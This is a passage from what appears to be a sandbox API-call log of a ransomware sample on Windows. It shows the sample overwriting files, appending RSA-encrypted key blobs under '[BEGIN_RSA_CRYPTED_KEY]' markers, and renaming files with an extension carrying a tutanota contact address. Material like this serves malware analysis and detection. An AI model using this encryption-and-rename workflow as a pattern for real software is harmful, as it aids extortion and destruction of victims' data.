hFile=0xc88, lpBuffer=0x59d1f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.949] SetFilePointer (in: hFile=0xc88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.949] WriteFile (in: hFile=0xc88, lpBuffer=0x59d260*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d260*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.949] SetFilePointer (in: hFile=0xc88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.949] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.949] WriteFile (in: hFile=0xc88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.950] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.951] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.951] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.951] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="S2cQtnC5cFdjDG7pQpojvEL52GVGxSwx+6OLYAZuRSqaDfmNfVEG+Ahf/6sL3wu3\nFtX/Pp1PO0utZKTkdxtvzYGsrDo7yivb54SSsV6FS7h4dDAC1RVXNMjW/Ldi7zVF\niE8zJD+vePERh55Fhh5c4NcISOd7iwjOIFZCfKMkKwRz2UzgB6ME9JTNyLGlNQgT\nEHA7x373+G1r8Ma62zjssw1Dltl6rE0+oOwNpm9S1O2445Ofx9i0L+2OtrXqGCEB\nODBHvbpfzjuu3gJ6QvuOJkzMzVIiP154fNe2Yc+lht2QdGs1z62Hr6UXU4UD/qix\nerghHSmsx3Fi4LQWEKStMQ==\n", pcchString=0x2e3f9a8) returned 1 [0195.951] WriteFile (in: hFile=0xc88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.952] WriteFile (in: hFile=0xc88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.952] CloseHandle (hObject=0xc88) returned 1 [0195.954] WriteFile (in: hFile=0xc94, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.956] CloseHandle (hObject=0xc94) returned 1 [0195.956] WriteFile (in: hFile=0xc94, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.957] CloseHandle (hObject=0xc94) returned 1 [0195.959] WriteFile (in: hFile=0xc94, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.960] CloseHandle (hObject=0xc94) returned 1 [0195.961] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.961] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0195.961] ReadFile (in: hFile=0xca8, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.961] SetFilePointer (in: hFile=0xca8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.961] WriteFile (in: hFile=0xca8, lpBuffer=0x59d1f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.961] SetFilePointer (in: hFile=0xca8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.961] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.961] WriteFile (in: hFile=0xca8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.963] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.963] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.964] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.964] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="CX2xN/P7QE8Q+xeiJHaE8lAmqrUr4q6dawDHgC8z+HXboBmQ5Pf/Ii7L+P14FLcv\nDUoRMfBf/EpBRCgpWVjEc78E5UO5CPwH5n6NoSlFvZz6EpO+uAgsilEgbUmiO4DD\n4c2awvouUr+NY8hBOhRUrtUqKIpQ5cm+uE+zxSiBkFNSw8rF7LZTyw3ip4XKKoIt\n4MZDRqr2U2bkfM0MJKiDDtNzpOr0d7oBnl2m8ihD2b6+4rLXvJTBIf3t1xMwZ2Ap\n1VXgAmAlf0ZJ5UgomuUajTpaneMNdrWxVserdN/MDDZwlLR5mevCE2ls4pyCYTnB\nEBw/0A1hgrrwraUOuGvLig==\n", pcchString=0x2e3f9a8) returned 1 [0195.964] WriteFile (in: hFile=0xca8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.964] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.964] WriteFile (in: hFile=0xca8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.965] CloseHandle (hObject=0xca8) returned 1 [0195.966] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.967] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0195.967] ReadFile (in: hFile=0xca8, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.994] SetFilePointer (in: hFile=0xca8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.994] WriteFile (in: hFile=0xca8, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.995] SetFilePointer (in: hFile=0xca8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.995] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.995] WriteFile (in: hFile=0xca8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.996] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.996] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.996] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.996] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TeDGyp6QSUW/hRuSG59ySdQBsjtwMHUKVduuToBTZ9N8JyZEOyKHxR2hZDcY+Xj+\nxAoGqpaSScBxwgR8Gm3r2UoIRGE3fhaaxiZ/NQbATqWZWOjcnq9W72QB2j5GAQry\nzTNJ1VjyBOfFO6QvmK7qG2xkT/RBUhKYOm17Rfsm9C6C7vLPQEOE5FFFe67Egiy5\nxIDopuya7rGhW6xZNbm4gOt5jp6xliS1ZyZ/wXJ1Ltt65amZrEKwl8c9ts1gQHY9\n9FmfnjYBwfZSz6M+m7wrHboWNY/J2euOvptNWytYBySxfexEE8MRzMEBAPFHeVOi\neEDwvzj9RjT6vWSoRTnlYg==\n", pcchString=0x2e3f9a8) returned 1 [0195.996] WriteFile (in: hFile=0xca8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.996] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.996] WriteFile (in: hFile=0xca8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.997] CloseHandle (hObject=0xca8) returned 1 [0195.998] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.998] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0195.999] ReadFile (in: hFile=0xca8, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.021] SetFilePointer (in: hFile=0xca8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.021] WriteFile (in: hFile=0xca8, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0196.022] SetFilePointer (in: hFile=0xca8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0196.022] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.022] WriteFile (in: hFile=0xca8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.023] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.023] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.023] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.023] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AmQ0xMy6Pi1y3zk7jOY2gnYwi2m0QP68VBsnDOrUEnpplNQr6BkFeIP4/OSYDJ+5\n8WvbgzuCn/e3fQDq4KgzctaDHnnRTbm+WPx/iE6kyqgUGjjQWgZEoMjgfUmUakM1\nfsfRLZq73Y6GHuy27RXD8sW7qVFWEmAtj2tGcgjxA0wqQDxUT9xfRcOUFh0c+V0k\nSG0obBBzsqXop7JSOI6/x3u57/Sh0w2Oe5dF5pSHvH0+wILu9X0N024g9Xe5g44G\nbe/rRTveanUo4XQ+/puqvpxpdUQzStYJR8Eta7xPUL/Mbg5qB762d/ncgrebZ2Qr\nurp6wjJqirw4tk0NCoRiDA==\n", pcchString=0x2e3f9a8) returned 1 [0196.023] WriteFile (in: hFile=0xca8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.024] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.024] WriteFile (in: hFile=0xca8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.024] CloseHandle (hObject=0xca8) returned 1 [0196.038] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0196.038] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0196.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c4d0 | out: hHeap=0x570000) returned 1 [0196.039] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xca8 [0196.039] GetFileSizeEx (in: hFile=0xca8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0196.039] ReadFile (in: hFile=0xca8, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.039] SetFilePointer (in: hFile=0xca8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.039] WriteFile (in: hFile=0xca8, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0196.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0196.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0196.040] SetFilePointer (in: hFile=0xca8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0196.040] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.040] WriteFile (in: hFile=0xca8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.041] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0196.041] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0196.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0196.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="k5jvabWlFQum2OhG7sTMuyduP8c5tGU3DgmQStywzT6ZSFRlsWsvBT3MRp8iwEE1\ngAmlEHYoVScGhZ/tn3mH8EdIu5SRu0J8BLmVZo8Wj+fAtAsV4v7OKu9OK9KZwFnf\nvEsPMhYOFpXCtlTof7s8ewy7kO/7SMEMfrXVEQTBmfBlU0dvPoHOQp3IA1zJyyJM\nnxrIC0Xynxn0hYC0udYg/PPG5XI+jIqHnOH4NHJVkrNhTLXBRGu7LQuaTPHypLHS\nYUtjmOI94qDa9JNeyXGOE+AQVeGrcN6pjX8Q7Q0/k07axlHBD9UmBjJGeDHukGpX\nZDnTwPWU9ZDp9T5gdD/Kqg==\n", pcchString=0x2e3f9a8) returned 1 [0196.041] WriteFile (in: hFile=0xca8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0196.042] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0196.042] WriteFile (in: hFile=0xca8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0196.042] CloseHandle (hObject=0xca8) returned 1 [0196.042] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0196.042] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0196.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0196.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c908 | out: hHeap=0x570000) returned 1 [0196.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66c320 | out: hHeap=0x570000) returned 1 [0196.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3388 | out: hHeap=0x570000) returned 1 [0196.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658488 | out: hHeap=0x570000) returned 1 [0196.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6605b0 | out: hHeap=0x570000) returned 1 [0196.044] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d0704ba, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7d0704ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2db4d566, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8cd88 [0196.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0196.044] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aac8 | out: hHeap=0x570000) returned 1 [0196.045] GetLastError () returned 0x0 [0196.045] GetLastError () returned 0x0 [0196.045] GetLastError () returned 0x0 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ca08 | out: hHeap=0x570000) returned 1 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8abd8 | out: hHeap=0x570000) returned 1 [0196.045] GetLastError () returned 0x0 [0196.045] GetLastError () returned 0x0 [0196.045] GetLastError () returned 0x0 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be2c0 | out: hHeap=0x570000) returned 1 [0196.045] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ca88 | out: hHeap=0x570000) returned 1 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0196.046] GetLastError () returned 0x0 [0196.046] GetLastError () returned 0x0 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81a88 | out: hHeap=0x570000) returned 1 [0196.046] GetLastError () returned 0x0 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea30 | out: hHeap=0x570000) returned 1 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662be8 | out: hHeap=0x570000) returned 1 [0196.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660290 | out: hHeap=0x570000) returned 1 [0196.046] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca676c30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db4d566, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8ca48 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0196.047] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) 